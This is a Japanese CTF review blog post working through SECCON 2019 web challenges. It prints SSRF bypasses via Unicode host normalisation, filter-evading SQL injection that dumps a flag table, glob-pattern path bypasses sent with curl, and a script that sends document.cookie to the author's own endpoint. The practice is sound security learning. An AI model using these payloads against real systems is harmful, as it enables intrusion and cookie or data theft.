SECCON 2019 Online CTFのWeb問、手を付けていたのもあったのですが結局一問も解けていなかったので、競技終了後のtwitterの呟きをヒントにしたり、他の方のwriteupを読んだりしながら復習したので覚書。
※HakoniwaPay以外。※かわりにZKPayした。
とりあえず環境が動いているうちにできてよかった。人のwirteup見ながらでも、自分で手を動かすの大事!
「あぁ!あともうちょっとなのに!」と思いながら解いたやつが全然もうちょっとじゃなかったり(よくある)、結構いい線いってたけど閃きor経験値不足で解けてなかった問題もあったり。安定してWeb問解くにはまだまだまだ修行が足りない…。
- [Web] Option-Cmd-U
- [Web] web_search
- [Web] fileserver
- [Web] HakoniwaPay (着手せず)
- [Web] SPA
- [Web] SECCON_multiplicater
- [Crypto] ZKPay
- 感想
[Web] Option-Cmd-U
No more "View Page Source"!
指定されたURLに飛びます。
こんなページが出てきました。
試しに、該当のページのurlをフォームに入力してみます。
index.phpのソースコードらしきものが表示されました。
このときのRequest URL
はhttp://ocu.chal.seccon.jp:10000/index.php?url=http%3A%2F%2Focu.chal.seccon.jp%3A10000%2Findex.php
となっています。
<!-- src of this PHP script: /index.php?action=source --> <!-- the flag is in /flag.php, which permits access only from internal network :-) --> <!-- this service is running on php-fpm and nginx. see /docker-compose.yml -->
このコメントがヒント。/flag.php
にflagがあるけどアクセス権限がinternal networkのみ。実際試しに入れてみると Forbidden.Your IP: 172.25.0.1
と怒られました。
ちなみに、/docker-compose.yml
を入力するとこんな感じ。
version: '3' services: nginx: (...ommitted...) php-fpm: (...ommitted...
省略されてしまっていますが、nginxとphp-fpmを使っていることは確かなようです。
また、 src of this PHP script: /index.php?action=source
の部分について。urlに直接これを入れるとソースコードが出てくるみたい。
http://ocu.chal.seccon.jp:10000/index.php?action=source
<?php if ($_GET['action'] === "source"){ highlight_file(__FILE__); die(); } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Option-Cmd-U</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.min.css"> <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script> </head> <body> <div class="container"> <section class="hero"> <div class="hero-body"> <div class="container"> <h1 class="title has-text-centered has-text-weight-bold"> Option-Cmd-U </h1> <h2 class="subtitle has-text-centered"> "View Page Source" is no longer required! Let's view page source online :-) </h2> <form method="GET"> <div class="field has-addons"> <div class="control is-expanded"> <input class="input" type="text" placeholder="URL (e.g. http://example.com)" name="url" value="<?= htmlspecialchars($_GET['url'], ENT_QUOTES, 'UTF-8') ?>"> </div> <div class="control"> <button class="button is-link">Submit</button> </div> </div> </form> </div> </div> </section> <section class="section"> <pre> <!-- src of this PHP script: /index.php?action=source --> <!-- the flag is in /flag.php, which permits access only from internal network :-) --> <!-- this service is running on php-fpm and nginx. see /docker-compose.yml --> <?php if (isset($_GET['url'])){ $url = filter_input(INPUT_GET, 'url'); $parsed_url = parse_url($url); if($parsed_url["scheme"] !== "http"){ // only http: should be allowed. echo 'URL should start with http!'; } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) { // local access to nginx from php-fpm should be blocked. echo 'Oops, are you a robot or an attacker?'; } else { // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/ highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46), false, stream_context_create(array( 'http' => array( 'follow_location' => false, 'timeout' => 2 ) )))); } } ?> </pre> </section> </div> </body> </html>
最後の方に、アクセス制限について書いてあります。
// only http: should be allowed.
// local access to nginx from php-fpm should be blocked.
// file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/
あと分かる情報は、エラーメッセージから、localのpathは/var/www/web/index.php
。
nginxの設定ファイルが置かれていそうな、/etc/nginx/nginx.conf
や/etc/php-fpm.d/www.conf
, /etc/php-fpm.conf
を見てみたい。と思ってdirectory traversalできないかやってみる。
* http://ocu.chal.seccon.jp:10000/../../../etc/nginx/nginx.conf * http://ocu.chal.seccon.jp:10000/../../../etc/php-fpm.d/www.conf * http://ocu.chal.seccon.jp:10000/../../../etc/php-fpm.conf
普通の相対パス指定は Warning: file_get_contents(): Filename cannot be empty in /var/www/web/index.php on line 60
と怒られてしまいます。
他にも、cheetsheetを参考に色々試してみましたができませんでした。そもそもGOALが見えてません...。
方針としては、IPアドレスを偽装して内部からのアクセスだよーと思わせることができればflag.php
を見せてくれそう。※ただしphp-fpmのアドレスはNG。
さっき怒られた172.25.0.1
がphp-fpm server
のIPっぽいので、近いアドレスで試してみようかな?
というところでタイムアップ。
他の方のwriteupを見てみると、いくつか解き方がありそう。
ipアドレス何とかするバージョン
想定解っぽいの
その他
勉強になります。ありがとうございます!
ipアドレス何とかするバージョンはこんな感じ。
http://{ipaddr}/flag.php
をリクエストフォームに入れて送っていくと、172.25.0.3
のときにOops, are you a robot or an attacker?
と言われます。これがnginxのアドレス。
あとは DNS Rebinding
をしてアクセスを試みます。
参考
これはドメイン持ってないと厳しそう…。そろそろドメイン買うか…?
DNSを書き換えたら
http://{自分のドメイン}/flag.php
をフォームに入れて攻撃完了。
一方、想定解っぽいのは
Host/Split: Exploitable Antipatterns in Unicode Normalization
というBlackHat2019で発表された鮮度高めの手法だったようです。以下を入れるだけで攻撃完了。
http://nginx/flag.php
ちゃんとHost/Split論文頭からお尻まで読んで理解したいが、斜め読みした感じだと ℀
みたいな Unicode が host に入力されたとき、エンコード処理次第ではこれが a/c
に変換され、URL security filter を回避することができるぞ、というもの。同じような話をどこかで聞いたことがあるので、もしかしたら +α 新しい話があるのかもしれない。
http://a.com/X.b.com In this string, the “/” character is the “Full-Width Solidus” character (U+FF0F). For this test, a wildcard DNS record should be created that directs all subdomains of “b.com” to the same server. Software that is provided this URL and which is vulnerable to HostSplit will attempt to make a request to “a.com” for a file named “X.b.com”. Software that is not vulnerable will either not attempt to make a request or will instead attempt a request to a Punycode subdomain of “b.com”.
このあたりから、攻撃を思いついたら良かったのかな?
[Web] web_search
Get a hidden message! Let's find a hidden message using the search system on the site.
指定のurlに飛んでみるとこんな感じ。
RFC番号と一行解説のリストが。
'
を入れてみると Error
との出力。'--
と入れても同じ。'#
と入れてみると何事もなかったように全件出てきました。これはSQL injectionで行けるかな?
いろいろ試してみましたが、OR
や||
, ,
, &&
,半角スペース などの文字列は削除されてしまうようです。
[input] ' OR 1=1# [output query] '1=1# [output result] Error
半角スペースまで削除されてしまうのは困るなぁ…。CHAR()
を使ってつなげるという手法が有り得そうなので試してみます。
'CHAR(32)CHAR(79)CHAR(82)CHAR(32)1=1;# -> ERROR 'CHAR(35) -> ERROR
うーーん、CHAR()
は使えないかも。
色々探してみると、
【2018年】CTF Web問題のwriteupぜんぶ読む - こんとろーるしーこんとろーるぶい > 1位:SQL Injection (SQLi)【44問】 > 3. スペースを使用しないSQL Injection
より、スペースが使えない時に()でバイパスする方法!これ読んでたのに忘れてたよ!
'or(1=1)#
あ、or
も禁止されてるんだった…。
'HAVING(1=1);# 'HAVING+1=1;# 'HAVING/**/1=1#
この辺のクエリが通るので、スペースは(()
, +
, /**/
)で回避できそう。※途中で+
が使えないことがあったので、今回はほぼ /**/
でおきかえ。
PayloadsAllTheThings/SQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub
このページに SQL injection のテクニックが結構詰まっているのを発見。No Comma
の章にcommaが使えないときの回避法も載っています。
今回の収穫はこのrepositoryを掘り当てたこと…!Star1万以上付いてるから、超有名repoなのかな?知らなかった…。
しかしどうにもORが回避できない。OR を使わないクエリを組み立てるのを試行錯誤してみたりしましたが、ここで時間切れ。
他の方のTwitterでのつぶやきで、ORはOORR
で行けることを知る(;゚д゚) ・・・
フィルタ回避方法は経験値を積めば閃くようになるんだろうか?頭が硬かったなー。
'OORR/**/1=1#
を入力すると、'OR/**/1=1#
と整形され、何やらFlagっぽいのが出てきました!これが!したかったっ…!
FLAG The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more!
flag
tableにあると教えてもらったので、flag
tableを探します。
SECCON for Beginners CTF 2019 の Ramen と同じ方法。
まずはテーブルの列数を調べます。Commaのフィルタ回避については、上記のサイトを参考に下記のように変換します。
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
テーブルの列数を調べる [original 2列] 'union select null, null [avoid_filter 2列] 'union/**/select/**/*/**/from(select/**/null)a/**/join(select/**/null)b# -> ERROR [original 3列] 'union select null, null, null [avoid_filter 3列] 'union/**/select/**/*/**/from(select/**/null)a/**/join(select/**/null)b/**/join(select/**/null)c# -> ERRORにならない!
ということで、列数は3っぽい。あとは、flagテーブルのカラム名を調べます。
[original] 'union select column_name, null, null from information_schema.columns where table_name='flag'# [avoid_filter] 'union/**/select/**/*/**/from(select/**/column_name/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='flag')a/**/join(select/**/null)b/**/join(select/**/null)c;#
information
にor
が含まれていることに注意です。ここもoorr
にする必要があります。
これを入れると、カラム名 piece
が出てきました。
最後に、`flag`テーブルの
カラムを抜き出して表示してもらいます。
[original] 'union select piece, null, null from flag# [avoid_filter] 'union/**/select/**/*/**/from(select/**/piece/**/from/**/flag)a/**/join(select/**/null)b/**/join(select/**/null)c;#
出てきました!
You_Win_Yeah}
前半のと合わせて
flag: SECCON{Yeah_Sqli_Success_You_Win_Yeah}
これは取りたかったなぁ。。。面白かった(〃❛ᴗ❛〃)
[Web] fileserver
I donno apache or nginx things well, I guess I can implement one for myself though. See? It's easy! http://fileserver.chal.seccon.jp:9292/public/index.html
Due to maintainability, we restart the server of fileserver challenge every 5 minutes.
指定のurlにアクセスしてみるとこんなページ。
文字がシュンシュン動いています。
そういえばURLの構成が /public/index.html
で、なんか怪しそう。問題タイトルも fileserver
だし…。
ということで、 http://fileserver.chal.seccon.jp:9292/
にアクセスしてみると、ちょっと時間がかかりますがこんなページが出てきました。
ディレクトリが見えているようです!!
あとはこのページの説明より、WEBrick 1.5.0, ruby 2.6.5 を使用していることもわかります。./Gemfile
, Gemfile.lock
を見てもわかるんですけど。
ここで ./app.rb
のソースコードが入手できます。
require 'erb' require 'webrick' require 'fileutils' require 'securerandom' include WEBrick::HTTPStatus FileUtils.rm_rf('/tmp/flags') FileUtils.mkdir_p('/tmp/flags') FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt") FileUtils.rm('flag.txt') server = WEBrick::HTTPServer.new Port: 9292 def is_bad_path(path) bad_char = nil %w(* ? [ { \\).each do |char| if path.include? char bad_char = char break end end if bad_char.nil? false else # check if brackets are paired if bad_char == ?{ path[path.index(bad_char)..].include? ?} elsif bad_char == ?[ path[path.index(bad_char)..].include? ?] else true end end end server.mount_proc '/' do |req, res| raise BadRequest if is_bad_path(req.path) if req.path.end_with? '/' if req.path.include? '.' raise BadRequest end files = Dir.glob(".#{req.path}*") res['Content-Type'] = 'text/html' res.body = ERB.new(File.read('index.html.erb')).result(binding) next end matches = Dir.glob(req.path[1..]) if matches.empty? raise NotFound end begin file = File.open(matches.first, 'rb') res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]] res.body = file.read(1e6) rescue Errno::EISDIR => e res.set_redirect(MovedPermanently, req.path + '/') end end trap 'INT' do server.shutdown end server.start
ここで注目すべきは、最初のほうのflag.txt
に関する行。
FileUtils.rm_rf('/tmp/flags') FileUtils.mkdir_p('/tmp/flags') FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt") FileUtils.rm('flag.txt')
SecureRandom.alphanumeric(n)
は SecureRandom.alphanumeric (Ruby 2.7.0 リファレンスマニュアル) より、ランダムなn桁の英数字を返すので、/tmp/flags/
にある32桁の英数字名のtxtファイルがflagっぽいです。
下記の部分を見てみると
if req.path.end_with? '/' if req.path.include? '.' raise BadRequest end files = Dir.glob(".#{req.path}*") res['Content-Type'] = 'text/html' res.body = ERB.new(File.read('index.html.erb')).result(binding) next
pathが/
で終わっていて、かつ.
が含まれていない場合は、そのdirectoryのファイル一覧を返してくれるみたいです。
ということは、//tmp/flags/
をpathで指定できれば、flagsディレクトリのファイル一覧が出てきそうです。
しかし .
がpathに含まれているとだめなので、../../
みたいなのがそのまま使えないみたい。。。また、files = Dir.glob(".#{req.path}*")
という記述のため、いきなり/
から始める書き方もできません。
↑回避なしだと、 うーん??
試行錯誤のメモ
../
の置き換えをいくつか実験してみました。(この取り組みは見当違いだった様子。そもそもfilse = Dir.glob(".#{req.path}*")
なので.
が強制的に先頭に入っている)
$ curl http://fileserver.chal.seccon.jp:9292/../../tmp/flags/
<!DOCTYPE html>
<meta charset="utf8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Fileserver</title>
<link rel="stylesheet" href="https://unpkg.com/bulmaswatch/cerulean/bulmaswatch.min.css">
<section class="section">
<div class="container">
<h1 class="title">Index of /tmp/flags/</h1>
<div class="list is-hoverable">
</div>
<hr>
<span class="is-italic">WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01) Server at fileserver.chal.seccon.jp:9292</span>
</div>
../../
が消されています
../../tmp/flags/
-> /tmp/flags%2e%2e/%2e%2e/tmp/flags/
-> Bad Request%2e%2e%2f%2e%2e%2f/tmp/flags/
-> Bad Request%252e%252e%252f%252e%252e%252f/tmp/flags/
-> Index of /%2e%2e%2f%2e%2e%2f/tmp/flags%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/tmp/flags/
-> Index of /????????????/tmp/flags/%uff0e%uff0e%u2215%uff0e%uff0e%u2215/tmp/flags/
-> Bad Request
と、ここでタイムアップ。
下記のwriteupを見ると、Dir.glob
関数の穴を使うっぽい。
- SECCON 2019 Online CTF Writeup - Web - こんとろーるしーこんとろーるぶい
- [SECCON 2019] — Writeup - HMIF ITB Tech - Medium
class Dir (Ruby 2.7.0 リファレンスマニュアル) より、
[PARAM] pattern:
パターンを文字列で指定します。 パターンを "\0" で区切って 1 度に複数のパターンを指定することもで きます。 パターンの区切りには "\0" のみ指定できます。 配列を指定することで複数のパターンを指定できます。
ということは、\0/tmp/flags/
とすると、./
と /tmp/flags
という風に解釈してくれるってこと?
ここで\0
はヌル文字を意味し、こちらによると
URL中に(特にユーザ入力由来の)ヌル文字が現れる場合は
%00
で置き換えられる
とのこと。ということで、%00/tmp/flags/
にアクセスしてみます。
$ curl http://fileserver.chal.seccon.jp:9292/%00/tmp/flags/ <!DOCTYPE html> <meta charset="utf8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Fileserver</title> <link rel="stylesheet" href="https://unpkg.com/bulmaswatch/cerulean/bulmaswatch.min.css"> <section class="section"> <div class="container"> <h1 class="title">Index of /%2e%2e/tmp/flags/</h1> <div class="list is-hoverable"> <a class="list-item" href="//tmp/flags/paVLrTEqMcrf0yX6ViT2ekTV5Qug6XHv.txt">/tmp/flags/paVLrTEqMcrf0yX6ViT2ekTV5Qug6XHv.txt</a> </div> <hr> <span class="is-italic">WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01) Server at fileserver.chal.seccon.jp:9292</span> </div>
おお!それっぽいtxtファイルが発見されました!!paVLrTEqMcrf0yX6ViT2ekTV5Qug6XHv.txt
、ちゃんと32桁のalphanumericなので、これがflag.txt
のコピーっぽいです。
今度はこのファイルを読みたいので、先程のソースの先 matches = Dir.glob(req.path[1..])
でとってきてもらいたい。req.path
にはhost/a/b
にアクセスすると/a/b
が入ってくるのですが、今回先頭の一文字目がカットされてしまうので /tmp/flags/hoge.txt
と指定しても tmp/flags/hoge.txt
を探しに行ってしまいます。更に、//tmp
や a/tmp
としても NotFound
が返ってきます。
ということで、今度は class Dir (Ruby 2.7.0 リファレンスマニュアル) の
{ }
コンマで区切られた文字列の組合せに展開します。例えば、 foo{a,b,c} は fooa, foob, fooc に展開されそれぞれに対してマッチ判定を行います。
を使って
{てきとう,/tmp/flags/paVLrTEqMcrf0yX6ViT2ekTV5Qug6XHv.txt}
を入れてあげると、先程と同じように回避できそう。
しかしここでまたfilterが。is_bad_path()
のチェックで、*
,?
,[
,{
,\\
が含まれている場合は、Bad Requestになってしまいます。{
が使えない!
でもこの is_bad_path()
の関数、なんとなくスマートじゃない書き方な気がします。前半ではカッコの始まりしか見てなくて、カッコ({
,[
)があったときのみペアになる終端(}
,]
)が存在するかを確認しています。そもそも bad_char = char
で一つ見つかったらbreakしちゃってるので、* ? [ { \\
の順に評価し、最初に引っかかるものがあったら他は評価しないようになっています…。
ということで、{
が評価される前の bad_char 対象の記号をてきとう
のところに入れてあげることで、{
の評価自体は回避できそうです。更に [
を入れてあげると、閉じなくていいので終端チェックにも引っかからずに false が返りそう。
[oridinal] {[,/tmp/flags/paVLrTEqMcrf0yX6ViT2ekTV5Qug6XHv.txt} [url encoded] %7B%5B%2C%2Ftmp%2Fflags%2FpaVLrTEqMcrf0yX6ViT2ekTV5Qug6XHv.txt%7D
上記の url encode した文字列を送ってみます。
$ curl fileserver.chal.seccon.jp:9292/%7B%5B%2C%2Ftmp%2Fflags%2FpaVLrTEqMcrf0yX6ViT2ekTV5Qug6XHv.txt%7D SECCON{You_are_the_Globbin'_Slayer}
おぉぉ、出ました!Dir.glob
を深堀りしよう、ここを突こう、という発想が復習していても全くわかなかったので、時間があっても解けなかったと思いますが、とても勉強になりました(๑❛ᴗ❛๑)
[Web] HakoniwaPay (着手せず)
ZIP-Password: notvirus
- hakoniwaPay.zip
- buttons.png
なんと、サイトが存在しないWeb問。そしてまた〇〇Pay。
buttons.pngには
If you can take 7777 yen from me, I will give you a FLAG.
というメッセージが @ymzkei5 から来ています。機能としてはRead QR Code
, Settings
とSend Money
, Request Money
, Send QR Code
があるみたい。
そしてHakoniwaシリーズ、やっぱり.exe
ファイルだった…orz
SECCON恒例、箱庭シリーズ。2015の時は後追いで頑張ってやってみたものの、mac only勢には環境準備が厳しいので今回は見送ります…。新しいマシンにもwine入れておかなきゃ。wine入れるだけじゃCTFは厳しいけど。
[Web] SPA
Last day my colleague taught me the concept of the Single-Page Application, which seems to be the good point to kickstart my web application development. Well, now it turned out to be MARVELOUS!
http://spa.chal.seccon.jp:18364/
Steal the cookie.
指定のサイトにアクセスするとこんなページ。かっこいい!
各年のSECCON Online の問題の flag たちが出てくるようです。
今年のページにアクセスしてみると、このSPA
問題だけ枠がありました。
このflag情報をなんとか取得する問題なのかな?と思いつつ、次。
Adminへ報告する機能もあるみたいです。
試しに報告してみると、 http://spa.chal.seccon.jp:18364/query
のurlで Okay! I got it :-)
というメッセージが表示されるのみでした。
この報告先を自分で用意したendpoint (以下{$kusuwada.com}
)にしてみると、adminがアクセスしに来てくれます。
[Request Header] { "upgrade-insecure-requests": "1", "user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3941.4 Safari/537.36", "sec-fetch-user": "?1", "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "sec-fetch-site": "none", "sec-fetch-mode": "navigate", "accept-encoding": "gzip, deflate, br" }
うーん、request path と request header くらいしか取れないなぁ。UserAgentがHeadlessChrome
なことくらいしか有益そうな情報がない…。
問題文に
Steal the cookie.
とあるので、この機能でadminがcookieを私のサーバーに送りつけてくれないか考えてみます。
{自分で用意したエンドポイント}/test
に
<!DOCTYPE html> <html> <head> <title>attack</title> </head> <body> <script>document.write("<img src='{自分で用意したエンドポイント}/test2?c=" + document.cookie + ">'")</script> </body> </html>
こんなサイトを用意して待ち構えてみると、当たり前ですが取得できるcookieは自分のサイトのドメインのもののみなので空で入ってきます。http://spa.chal.seccon.jp:
ドメインのcookieがほしいのじゃ…!
ここでタイムアップ。他の方のwriteupを読みながら再現してみる。方針としては間違っていなかったみたいだけど、最後にちょいと使うだけで、adminのcookieを送らせる方法を見るけるのが難しかったみたい。時間があってもこれは絶対解けなかったな…。
#SECCON 2019 Online 「Tanuki」「Crazy Repetition of Codes」「fileserver」「SPA」の解説と講評のようなもの - 博多電光
まず、出題者の解説があったので見てみましたが、素人過ぎるためさっぱりわからん。
まず、SPAって何?というところのおさらいから、今回のページがVueで書かれているらしいというところまで確認します。
ページのソースはこちら
<!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>SECCON Flag Archives</title> <link rel="stylesheet" href="https://unpkg.com/bulmaswatch/nuclear/bulmaswatch.min.css"> <link rel="icon" type="image/png" href="/favicon.png" /> <style> .container { padding: .75rem; } .contest-title { margin-top: 1rem; } .contest-list > .title { font-size: 12vmin; } .title.padded { margin-top: 3rem; } .contest { display: block; padding: 0.5rem; } .contest-name { margin-bottom: 0 !important; } .flag { font-family: monospace; font-size: 1.6rem; word-break: break-all; } .flag-shaken { animation: shake 0.3s linear infinite; display: inline-block; color: #444; } .flag-shaken:nth-child(3n) { animation-delay: -0.05s; } .flag-shaken:nth-child(3n+1) { animation-delay: -0.15s; } @keyframes shake { 0% { transform: translate(0px, 0px) rotateZ(0deg) } 10% { transform: translate(4px, 4px) rotateZ(4deg) } 20% { transform: translate(0px, 4px) rotateZ(0deg) } 30% { transform: translate(4px, 0px) rotateZ(-4deg) } 40% { transform: translate(0px, 0px) rotateZ(0deg) } 50% { transform: translate(4px, 4px) rotateZ(4deg) } 60% { transform: translate(0px, 0px) rotateZ(0deg) } 70% { transform: translate(4px, 0px) rotateZ(-4deg) } 80% { transform: translate(0px, 4px) rotateZ(0deg) } 90% { transform: translate(4px, 4px) rotateZ(-4deg) } 100% { transform: translate(0px, 0px) rotateZ(0deg) } } </style> </head> <body> <div id="app"> <nav class="navbar is-light" role="navigation" aria-label="main navigation"> <div class="navbar-brand"> <a class="navbar-item" @click="goHome()">SECCON Flag Archives</a> <a role="button" class="navbar-burger burger" aria-label="menu" aria-expanded="false" @click="isActive = !isActive" > <span aria-hidden="true"></span> <span aria-hidden="true"></span> <span aria-hidden="true"></span> </a> </div> <div class="navbar-menu" :class="{'is-active': isActive}"> <div class="navbar-start"> <a class="navbar-item" @click="goHome()"> Home </a> <a v-for="contest in contests" :key="contest.id" class="navbar-item" @click="goContest(contest.id)"> {{contest.name}} </a> </div> </div> </nav> <div v-if="route === 'home'" class="container"> <div class="contest-list"> <h1 class="title padded has-text-success has-text-centered">SECCON Flag Archives</h1> <h2 class="subtitle has-text-centered has-text-grey-light">Complete list of the golden flags that appeared in the past SECCON CTFs</h2> <div class="columns"> <div v-for="contest in contests" :key="contest.id" class="column"> <a @click="goContest(contest.id)" class="contest has-background-success has-text-centered"> <div class="title has-text-light contest-name is-size-3">{{contest.name}}</div> <div class="title has-text-light is-size-6">{{contest.count}} flags</div> </a> </div> </div> <div class="has-text-centered"> <a @click="goReport()" class="subtitle has-text-success"> Report Admin </a> </div> </div> </div> <div v-else-if="route === 'report'" class="container has-text-centered"> <h1 class="title padded has-text-success is-size-1">Report Admin</h1> <h2 class="subtitle has-text-grey-light"> If you found any glitches on this website, fill in the following form to report them.<br> The URL will be reviewed and the administrator will check it. </h2> <form action="/query" target="_blank" method="POST"> <label class="label">URL</label> <div class="field has-addons"> <div class="control is-expanded"> <input class="input" type="url" name="url" placeholder="http://spa.chal.seccon.jp:18364/*****"> </div> <div class="control"> <button class="button is-link" type="submit">Submit</button> </div> </div> </form> </div> <div v-else-if="route === 'contest'" class="container"> <progress v-if="isLoading" class="progress is-small is-primary" max="100"></progress> <p class="title contest-title has-text-centered is-size-1">{{name}}</p> <p class="subtitle has-text-centered is-size-3">{{start}} - {{end}}</p> <div class="columns is-centered"> <div v-for="(link, title) in contest.links" class="column is-narrow has-text-centered" > <a class="button" :href="link" target="_blank" > {{title}} </a> </div> </div> <p class="subtitle is-size-5 has-text-centered">{{flagCount}}</p> <div class="columns is-multiline"> <div v-for="{genre, name, point, flag} in flags" :key="name" class="column is-half is-info"> <div class="card"> <div class="card-content"> <div class="content"> <p class="title"> {{name}} <span v-if="point !== null"> <span v-if="point <= 100" class="tag is-light"> {{point}}pts </span> <span v-else-if="point <= 200" class="tag is-success"> {{point}}pts </span> <span v-else-if="point <= 300" class="tag is-link"> {{point}}pts </span> <span v-else-if="point <= 400" class="tag is-warning"> {{point}}pts </span> <span v-else class="tag is-danger"> {{point}}pts </span> </span> </p> <p class="flag"> <span v-if="flag === null"> <span v-for="i in 10" :key="i" class="flag-shaken">?</span> </span> <span v-else> {{flag}} </span> </p> <p class="has-text-right is-size-5" :style="{color: getGenreColor(genre)}"> {{genre}} </p> </div> </div> </div> </div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/vue@2.6.10"></script> <script src="https://code.jquery.com/jquery-3.4.1.min.js"></script> <script> const genreColors = new Map([ ['crypto', '#689F38'], ['forensic', '#FF8F00'], ['forensics', '#FF8F00'], ['pwn', '#D32F2F'], ['media', '#9C27B0'], ['reversing', '#42A5F5'], ['web', '#558B2F'], ['binary', '#F57F17'], ['programming', '#5D4037'], ['exploit', '#1565C0'], ['excercise', '#558B2F'], ['stegano', '#424242'], ['unknown', '#777777'], ]); const getGenreColor = (genre) => { const normalized = genre.split('/')[0].toLowerCase(); if (genreColors.has(normalized)) { return genreColors.get(normalized); } return '#777'; }; new Vue({ el: '#app', data() { return { isLoading: true, isActive: false, route: 'home', contest: {}, contests: [], contestId: null, }; }, computed: { flagCount() { if (this.contest.flags === undefined) { return 'No flags'; } if (this.contest.flags.length === 1) { return '1 flag'; } return `${this.contest.flags.length} flags`; }, name() { return this.contest.name || location.hash.slice(1); }, flags() { return this.contest.flags; }, start() { if (this.contest.date === undefined) { return '---'; } return new Date(this.contest.date.start).toLocaleString(); }, end() { if (this.contest.date === undefined) { return '---'; } return new Date(this.contest.date.end).toLocaleString(); }, }, async mounted() { addEventListener('hashchange', this.onHashChange); await this.onHashChange(); await this.fetchContests(); this.isLoading = false; }, methods: { async fetchContest(contestId) { this.contest = await $.getJSON(`/${contestId}.json`) }, async fetchContests() { this.contests = await $.getJSON('/contests.json') }, async onHashChange() { const contestId = location.hash.slice(1); if (contestId) { if (contestId === 'report') { this.goReport(); } else { await this.goContest(contestId); } } else { this.goHome(); } }, async goContest(contestId) { location.hash = `#${contestId}` this.route = 'contest'; this.contestId = contestId; this.isLoading = true; this.isActive = false; await this.fetchContest(contestId); this.isLoading = false; }, goHome() { location.hash = ''; this.route = 'home'; this.contestId = null; this.contest = {}; this.isActive = false; }, goReport() { location.hash = '#report'; this.route = 'report'; this.contestId = null; this.contest = {}; this.isActive = false; }, getGenreColor(genre) { return getGenreColor(genre); }, getDateString(date) { const d = new Date(date.seconds * 1000); return d.toISOString().split('T')[0]; }, getDateStringJa(date) { const d = new Date(date.seconds * 1000); return `${d.getFullYear()}/${d.getMonth() + 1}/${d.getDate()}`; }, }, head() { return { title: `${this.contestId} - SECCON Flags Archive`, }; }, }); </script> </body> </html>
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.10"></script>
から vue で書かれていることがわかります。
そもそもソースコードすら見ていなかった。SPAなので複数見る必要もなく、Web問なので「ソースをとりあえず見てみる」というのは定石か。
上からhtmlをざっと読んでいくと、pathによって場合分けがされており、home
,report
,contest
のページの処理が書かれています。
<p class="flag"> <span v-if="flag === null"> <span v-for="i in 10" :key="i" class="flag-shaken">?</span> </span> <span v-else> {{flag}} </span> </p>
の箇所から、?
が震える表示になっていた SPA 問題は、flag: null
だったと思われます。
その後、vueのコードがだーっと書かれています。
この中から怪しい箇所を探してみると、
this.contest = await $.getJSON(`/${contestId}.json`)
この部分がちょい怪しい。${contestId}
はその後の
const contestId = location.hash.slice(1);
なので、urlの{#hogehoge}
を置き換えることで、任意のjsonが呼び出せそう。
やってみます。
おっ。testページが勝手に出てきました。もちろん何もコンテンツがないので No flags.
ここに任意のjsonを送り込むために、自サーバーのjsonを返すパス
にアクセスさせます。表記方法はこんな感じ。
http://spa.chal.seccon.jp:18364/#/{自サーバーのjsonを返すパス}
※今回も自サーバーは持っていないので、ちょろっとmockが作れる beeceptor さんを使わさせていただきました。
{ "name": "test seccon", "count": 1, "flags": [{ "genre": "dummy", "name": "test flag", "point": "100", "flag": "dummyflag" }], "date": { "start": 1571891253000, "end": 1571891253000 } }
こんなjsonをjsonフォーマット指定で返すように自サーバーの/dummy.json
を設定(Response Headerに"Content-Type": "application/json"
設定)し、http://spa.chal.seccon.jp:18364/#/{$kusuwada.com/dummy}
へアクセスしてみると
お、それっぽいページができました。わーい。でもこれはゴールではない。
ここからはDocumentを読んで気づいたというwriteupが。凄い。方針があってるかの確証がないまま、競技中に腰を据えてdocument読もうという心境に至らない。。。
jQuery.getJSON() | jQuery API Documentation
こちら JQueryのgetJSON
のドキュメント。こちらによると、
If the URL includes the string "callback=?" (or similar, as defined by the server-side API), the request is treated as JSONP instead. See the discussion of the jsonp data type in $.ajax() for more details.
ということで callback=?
的なものがrequestに含まれていた場合、JSONPとして扱われるそうです。
JSONPで調べてみたところ、注意喚起の記事がたくさんヒットしました。
JSONPは危険なので禁止 – yohgaki's blog
JSONP (JSON with padding) とは、scriptタグを使用してクロスドメインな(異なるドメインに存在する)データを取得する仕組みのことである。HTMLのscriptタグ、JavaScript(関数)、JSONを組み合わせて実現される。
<script type='text/javascript' src='http://another.domain.example.com/getjson?callback=parseResponse'>
このような感じでコールバックを指定して使います。
簡単に説明すると、
<script>
タグでJSONを呼び出すとコールバック関数を使ってJSONデータを処理します。このコールバック関数を攻撃にすることにより、攻撃者は情報を不正に取得できます。
[気になる]JSONPの守り方 (1/3):教科書に載らないWebアプリケーションセキュリティ(4) - @IT
